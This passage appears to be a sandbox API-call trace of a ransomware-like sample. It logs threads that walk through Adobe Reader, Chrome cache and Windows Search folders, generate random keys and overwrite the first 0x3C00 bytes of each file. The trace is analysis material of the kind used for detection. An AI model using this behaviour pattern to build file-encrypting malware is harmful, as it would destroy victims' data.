nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.SUO", cAlternateFileName="")) returned 1 [0244.810] wcscmp (_String1="Weblink.SUO", _String2=".") returned 1 [0244.810] wcscmp (_String1="Weblink.SUO", _String2="..") returned 1 [0244.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x431e3bc0 [0244.810] wcscpy (in: _Dest=0x431e3bc0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" [0244.810] wcscat (in: _Dest=0x431e3bc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\" [0244.810] wcscat (in: _Dest=0x431e3bc0, _Source="Weblink.SUO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Weblink.SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Weblink.SUO" [0244.811] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431e3bc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x112c [0244.811] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.SUO", cAlternateFileName="")) returned 0 [0244.811] FindClose (in: hFindFile=0x1cd9d8b0 | out: hFindFile=0x1cd9d8b0) returned 1 [0244.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20b70) returned 1 [0244.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a39b0) returned 1 [0244.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aee30) returned 1 Thread: id = 4050 os_tid = 0x22a4 [0244.414] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_1")) returned 0x2020 [0244.415] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1", dwFileAttributes=0x20) Thread: id = 4051 os_tid = 0x22a8 [0244.416] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_2")) returned 0x2020 [0244.416] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2", dwFileAttributes=0x20) Thread: id = 4052 os_tid = 0x22ac [0244.417] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeHeitiStd-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobeheitistd-regular.otf")) returned 0x20 [0244.417] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeHeitiStd-Regular.otf", dwFileAttributes=0x20) returned 1 [0244.418] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeHeitiStd-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobeheitistd-regular.otf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2cd8 [0244.419] GetFileSizeEx (in: hFile=0x2cd8, lpFileSize=0x1d2af720 | out: lpFileSize=0x1d2af720*=12265424) returned 1 [0244.419] SetFilePointerEx (in: hFile=0x2cd8, liDistanceToMove=0xbb27cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.419] ReadFile (hFile=0x2cd8, lpBuffer=0x1d2af6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d2af6e8, lpOverlapped=0x0) Thread: id = 4053 os_tid = 0x15c0 [0244.421] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeMingStd-Light.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobemingstd-light.otf")) returned 0x20 [0244.421] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeMingStd-Light.otf", dwFileAttributes=0x20) returned 1 [0244.422] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeMingStd-Light.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobemingstd-light.otf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1218 [0244.423] GetFileSizeEx (in: hFile=0x1218, lpFileSize=0x1e39fca0 | out: lpFileSize=0x1e39fca0*=10171656) returned 1 [0244.423] SetFilePointerEx (in: hFile=0x1218, liDistanceToMove=0x9b3504, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.423] ReadFile (hFile=0x1218, lpBuffer=0x1e39fc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e39fc68, lpOverlapped=0x0) Thread: id = 4054 os_tid = 0xc30 [0244.425] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeMyungjoStd-Medium.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobemyungjostd-medium.otf")) returned 0x20 [0244.425] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeMyungjoStd-Medium.otf", dwFileAttributes=0x20) returned 1 [0244.426] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeMyungjoStd-Medium.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobemyungjostd-medium.otf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16e4 [0244.426] GetFileSizeEx (in: hFile=0x16e4, lpFileSize=0x1fc5f920 | out: lpFileSize=0x1fc5f920*=4101108) returned 1 [0244.426] SetFilePointerEx (in: hFile=0x16e4, liDistanceToMove=0x3e93f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.426] ReadFile (hFile=0x16e4, lpBuffer=0x1fc5f8a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1fc5f8e8, lpOverlapped=0x0) Thread: id = 4055 os_tid = 0x1754 [0244.428] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeSongStd-Light.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobesongstd-light.otf")) returned 0x20 [0244.428] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeSongStd-Light.otf", dwFileAttributes=0x20) returned 1 [0244.429] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeSongStd-Light.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobesongstd-light.otf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1054 [0244.429] GetFileSizeEx (in: hFile=0x1054, lpFileSize=0x1f63fc20 | out: lpFileSize=0x1f63fc20*=15586660) returned 1 [0244.429] SetFilePointerEx (in: hFile=0x1054, liDistanceToMove=0xedd560, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.429] ReadFile (in: hFile=0x1054, lpBuffer=0x1f63fba0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f63fbe8, lpOverlapped=0x0 | out: lpBuffer=0x1f63fba0*, lpNumberOfBytesRead=0x1f63fbe8*=0x4, lpOverlapped=0x0) returned 1 [0244.885] SetFilePointerEx (in: hFile=0x1054, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a7a0 [0244.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205afb0 [0244.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205af80 [0244.885] NtQuerySystemTime (in: CurrentTime=0x1f63fae0 | out: CurrentTime=0x1f63fae0*=132462178486870000) returned 0x0 [0244.885] RtlRandomEx (in: Seed=0x1f63fad0 | out: Seed=0x1f63fad0) returned 0x3cb7bae0 [0244.885] RtlRandomEx (in: Seed=0x1f63fad0 | out: Seed=0x1f63fad0) returned 0x1178b309 [0244.885] RtlRandomEx (in: Seed=0x1f63fad0 | out: Seed=0x1f63fad0) returned 0x5c1b85a [0244.885] RtlRandomEx (in: Seed=0x1f63fad0 | out: Seed=0x1f63fad0) returned 0x4ef2a013 [0244.885] RtlRandomEx (in: Seed=0x1f63fad0 | out: Seed=0x1f63fad0) returned 0x5b2b4ed9 [0244.885] RtlRandomEx (in: Seed=0x1f63fad0 | out: Seed=0x1f63fad0) returned 0x6aae5d50 [0244.885] RtlRandomEx (in: Seed=0x1f63fad0 | out: Seed=0x1f63fad0) returned 0x67a74c43 [0244.885] RtlRandomEx (in: Seed=0x1f63fad0 | out: Seed=0x1f63fad0) returned 0x4ba0a92a [0244.886] RtlRandomEx (in: Seed=0x1f63fad0 | out: Seed=0x1f63fad0) returned 0x7de0d9f3 [0244.886] RtlRandomEx (in: Seed=0x1f63fad0 | out: Seed=0x1f63fad0) returned 0x4db09ee1 [0244.886] RtlRandomEx (in: Seed=0x1f63fad0 | out: Seed=0x1f63fad0) returned 0x64c5af3c [0244.886] RtlRandomEx (in: Seed=0x1f63fad0 | out: Seed=0x1f63fad0) returned 0xb424270 [0244.886] RtlRandomEx (in: Seed=0x1f63fad0 | out: Seed=0x1f63fad0) returned 0x2bbd19df [0244.886] RtlRandomEx (in: Seed=0x1f63fad0 | out: Seed=0x1f63fad0) returned 0x363ca2ff [0244.886] RtlRandomEx (in: Seed=0x1f63fad0 | out: Seed=0x1f63fad0) returned 0x72a8b059 [0244.886] RtlRandomEx (in: Seed=0x1f63fad0 | out: Seed=0x1f63fad0) returned 0xd63684a [0244.886] RtlRandomEx (in: Seed=0x1f63fad0 | out: Seed=0x1f63fad0) returned 0x1f74e4ee [0244.886] RtlRandomEx (in: Seed=0x1f63fad0 | out: Seed=0x1f63fad0) returned 0x487f973c [0244.886] RtlRandomEx (in: Seed=0x1f63fad0 | out: Seed=0x1f63fad0) returned 0x3c3ccb0c [0244.886] RtlRandomEx (in: Seed=0x1f63fad0 | out: Seed=0x1f63fad0) returned 0x44dbedcf [0244.886] RtlRandomEx (in: Seed=0x1f63fad0 | out: Seed=0x1f63fad0) returned 0x1f46d8f0 [0244.886] RtlRandomEx (in: Seed=0x1f63fad0 | out: Seed=0x1f63fad0) returned 0x417b6ca3 [0244.886] RtlRandomEx (in: Seed=0x1f63fad0 | out: Seed=0x1f63fad0) returned 0x4876b4a3 [0244.886] RtlRandomEx (in: Seed=0x1f63fad0 | out: Seed=0x1f63fad0) returned 0x5d6e00a9 [0244.886] RtlRandomEx (in: Seed=0x1f63fad0 | out: Seed=0x1f63fad0) returned 0x3b14dbfb [0244.886] RtlRandomEx (in: Seed=0x1f63fad0 | out: Seed=0x1f63fad0) returned 0x743571a [0244.886] RtlRandomEx (in: Seed=0x1f63fad0 | out: Seed=0x1f63fad0) returned 0x1f87a09e [0244.886] RtlRandomEx (in: Seed=0x1f63fad0 | out: Seed=0x1f63fad0) returned 0x13b7776b [0244.886] RtlRandomEx (in: Seed=0x1f63fad0 | out: Seed=0x1f63fad0) returned 0x4583691f [0244.886] RtlRandomEx (in: Seed=0x1f63fad0 | out: Seed=0x1f63fad0) returned 0x1d54f636 [0244.886] RtlRandomEx (in: Seed=0x1f63fad0 | out: Seed=0x1f63fad0) returned 0x67075d81 [0244.886] RtlRandomEx (in: Seed=0x1f63fad0 | out: Seed=0x1f63fad0) returned 0x4f17de8e [0244.904] SetFilePointerEx (in: hFile=0x1054, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.926] ReadFile (in: hFile=0x1054, lpBuffer=0x20482eb0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f63fb40, lpOverlapped=0x0 | out: lpBuffer=0x20482eb0*, lpNumberOfBytesRead=0x1f63fb40*=0x3c00, lpOverlapped=0x0) returned 1 [0244.954] SetFilePointerEx (in: hFile=0x1054, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059470 [0244.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba160 [0244.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205aaa0 [0244.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205aaa0) returned 1 [0244.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2049d320 [0244.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205aaa0 [0244.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bf40 [0244.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bf40) returned 1 [0244.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba160) returned 1 [0244.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059470) returned 1 [0244.957] WriteFile (hFile=0x1054, lpBuffer=0x2049d320, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f63fb40, lpOverlapped=0x0) Thread: id = 4056 os_tid = 0x1780 [0244.435] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\KozGoPr6N-Medium.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\kozgopr6n-medium.otf")) returned 0x20 [0244.436] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\KozGoPr6N-Medium.otf", dwFileAttributes=0x20) returned 1 [0244.437] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\KozGoPr6N-Medium.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\kozgopr6n-medium.otf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e14 [0244.438] GetFileSizeEx (in: hFile=0x1e14, lpFileSize=0x1eaafa20 | out: lpFileSize=0x1eaafa20*=5499164) returned 1 [0244.438] SetFilePointerEx (in: hFile=0x1e14, liDistanceToMove=0x53e918, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.438] ReadFile (hFile=0x1e14, lpBuffer=0x1eaaf9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1eaaf9e8, lpOverlapped=0x0) Thread: id = 4057 os_tid = 0x22e0 [0244.440] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\KozMinPr6N-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\kozminpr6n-regular.otf")) returned 0x20 [0244.441] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\KozMinPr6N-Regular.otf", dwFileAttributes=0x20) returned 1 [0244.442] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\KozMinPr6N-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\kozminpr6n-regular.otf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2628 [0244.442] GetFileSizeEx (in: hFile=0x2628, lpFileSize=0x2059fc80 | out: lpFileSize=0x2059fc80*=8134748) returned 1 [0244.442] SetFilePointerEx (in: hFile=0x2628, liDistanceToMove=0x7c2058, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.442] ReadFile (in: hFile=0x2628, lpBuffer=0x2059fc00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2059fc48, lpOverlapped=0x0 | out: lpBuffer=0x2059fc00*, lpNumberOfBytesRead=0x2059fc48*=0x4, lpOverlapped=0x0) returned 1 [0244.584] SetFilePointerEx (in: hFile=0x2628, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3c50 [0244.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3b30 [0244.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac42e0 [0244.586] NtQuerySystemTime (in: CurrentTime=0x2059fb40 | out: CurrentTime=0x2059fb40*=132462178483906000) returned 0x0 [0244.586] RtlRandomEx (in: Seed=0x2059fb30 | out: Seed=0x2059fb30) returned 0x7e6450b2 [0244.586] RtlRandomEx (in: Seed=0x2059fb30 | out: Seed=0x2059fb30) returned 0x59cb8e49 [0244.586] RtlRandomEx (in: Seed=0x2059fb30 | out: Seed=0x2059fb30) returned 0x6009723a [0244.586] RtlRandomEx (in: Seed=0x2059fb30 | out: Seed=0x2059fb30) returned 0x25a01943 [0244.586] RtlRandomEx (in: Seed=0x2059fb30 | out: Seed=0x2059fb30) returned 0x7815f0a8 [0244.586] RtlRandomEx (in: Seed=0x2059fb30 | out: Seed=0x2059fb30) returned 0x2c4795ba [0244.586] RtlRandomEx (in: Seed=0x2059fb30 | out: Seed=0x2059fb30) returned 0x294c6a43 [0244.586] RtlRandomEx (in: Seed=0x2059fb30 | out: Seed=0x2059fb30) returned 0x53a36b84 [0244.586] RtlRandomEx (in: Seed=0x2059fb30 | out: Seed=0x2059fb30) returned 0x688eae9f [0244.586] RtlRandomEx (in: Seed=0x2059fb30 | out: Seed=0x2059fb30) returned 0x35eb1f [0244.586] RtlRandomEx (in: Seed=0x2059fb30 | out: Seed=0x2059fb30) returned 0xd858f38 [0244.586] RtlRandomEx (in: Seed=0x2059fb30 | out: Seed=0x2059fb30) returned 0x8446b9a [0244.586] RtlRandomEx (in: Seed=0x2059fb30 | out: Seed=0x2059fb30) returned 0xc43f23a [0244.586] RtlRandomEx (in: Seed=0x2059fb30 | out: Seed=0x2059fb30) returned 0x7102ac9d [0244.586] RtlRandomEx (in: Seed=0x2059fb30 | out: Seed=0x2059fb30) returned 0x28399708 [0244.586] RtlRandomEx (in: Seed=0x2059fb30 | out: Seed=0x2059fb30) returned 0x3aaeadb6 [0244.586] RtlRandomEx (in: Seed=0x2059fb30 | out: Seed=0x2059fb30) returned 0x290054ac [0244.586] RtlRandomEx (in: Seed=0x2059fb30 | out: Seed=0x2059fb30) returned 0x83f4684 [0244.586] RtlRandomEx (in: Seed=0x2059fb30 | out: Seed=0x2059fb30) returned 0x6b306eee [0244.586] RtlRandomEx (in: Seed=0x2059fb30 | out: Seed=0x2059fb30) returned 0x2bc58c6a [0244.586] RtlRandomEx (in: Seed=0x2059fb30 | out: Seed=0x2059fb30) returned 0x2b2aea5a [0244.586] RtlRandomEx (in: Seed=0x2059fb30 | out: Seed=0x2059fb30) returned 0x7c357795 [0244.586] RtlRandomEx (in: Seed=0x2059fb30 | out: Seed=0x2059fb30) returned 0x54950640 [0244.586] RtlRandomEx (in: Seed=0x2059fb30 | out: Seed=0x2059fb30) returned 0xcb3f235 [0244.586] RtlRandomEx (in: Seed=0x2059fb30 | out: Seed=0x2059fb30) returned 0x7d43dfee [0244.586] RtlRandomEx (in: Seed=0x2059fb30 | out: Seed=0x2059fb30) returned 0x8e7cb19 [0244.586] RtlRandomEx (in: Seed=0x2059fb30 | out: Seed=0x2059fb30) returned 0x20cbf1b6 [0244.586] RtlRandomEx (in: Seed=0x2059fb30 | out: Seed=0x2059fb30) returned 0x93d6a6d [0244.586] RtlRandomEx (in: Seed=0x2059fb30 | out: Seed=0x2059fb30) returned 0x1408ac6f [0244.586] RtlRandomEx (in: Seed=0x2059fb30 | out: Seed=0x2059fb30) returned 0xad95929 [0244.587] RtlRandomEx (in: Seed=0x2059fb30 | out: Seed=0x2059fb30) returned 0x780889e0 [0244.587] RtlRandomEx (in: Seed=0x2059fb30 | out: Seed=0x2059fb30) returned 0x629c330b [0244.594] SetFilePointerEx (in: hFile=0x2628, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.594] ReadFile (in: hFile=0x2628, lpBuffer=0x42488970, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2059fba0, lpOverlapped=0x0 | out: lpBuffer=0x42488970*, lpNumberOfBytesRead=0x2059fba0*=0x3c00, lpOverlapped=0x0) returned 1 [0244.702] SetFilePointerEx (in: hFile=0x2628, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420594c0 [0244.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebba60 [0244.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3050 [0244.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb3050) returned 1 [0244.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x204a8750 [0244.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3050 [0244.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3140 [0244.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb3140) returned 1 [0244.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebba60) returned 1 [0244.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420594c0) returned 1 [0244.707] WriteFile (hFile=0x2628, lpBuffer=0x204a8750, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2059fba0, lpOverlapped=0x0) Thread: id = 4058 os_tid = 0x17a8 [0244.448] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_3")) returned 0x2020 [0244.613] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3", dwFileAttributes=0x20) Thread: id = 4059 os_tid = 0x10f8 [0244.451] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\index")) returned 0x2020 [0244.614] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index", dwFileAttributes=0x20) Thread: id = 4060 os_tid = 0xa6c [0244.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x107fc0 [0244.453] wcscpy (in: _Dest=0x107fc0, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex" [0244.453] wcscat (in: _Dest=0x107fc0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\" [0244.453] wcscat (in: _Dest=0x107fc0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\*") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\*" [0244.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1ebc0 [0244.454] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\*", lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27eb7240, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9dd30 [0244.454] wcscmp (_String1=".", _String2=".") returned 0 [0244.454] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27eb7240, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.454] wcscmp (_String1="..", _String2=".") returned 1 [0244.454] wcscmp (_String1="..", _String2="..") returned 0 [0244.454] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexer", cAlternateFileName="")) returned 1 